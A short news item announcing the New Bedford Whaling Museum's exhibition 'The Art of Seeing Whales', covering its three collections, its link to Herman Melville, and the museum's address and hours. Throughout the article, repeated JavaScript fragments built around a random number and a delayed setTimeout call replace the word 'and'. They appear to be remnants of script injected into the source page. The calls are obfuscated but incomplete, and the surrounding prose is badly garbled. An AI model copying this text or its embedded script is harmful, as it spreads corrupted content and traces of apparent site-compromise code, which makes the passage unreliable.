NEW BEDFORD, MASS. — The New Bedford Whaling Museum’s newest exhibition “The Art of Seeing Whales: Highlights from the Elizabeth Schultz Collection, the Melville Society Archive, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the New Bedford Whaling Museum,” is on view through January 15.

“The Art of Seeing Whales” draws on three unique collections of art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and artifacts to visually describe human interaction with whales over time, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and considers culture, biology andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and whaling history in artistic representation from the Sixteenth to the Twenty-First Century.

From religion to commerce to conservation, people have been connected to these magnificent, mysterious mammals throughout history. Artists are often the portals through whom individuals experience the joy, sorrow andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and intellectual engagement of this relationship. In this new exhibition, guests can see through the artists’ eyes the evolution of human perspectives on whales andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and whaling.

Much of the visual art in “The Art of Seeing Whales” was inspired by the literary art of Herman Melville, a common sailor who shipped out on the maiden voyage of the Acushnet in January 1841, a few months before the Charles W. Morgan made its maiden voyage from New Bedford harbor into the heart of the Pacific.

The museum is at 18 Johnny Cake Hill. Summer hours, through October, are daily 9 am to 5 pm. For more information, 508-997-0046 www.whalingmuseum.org.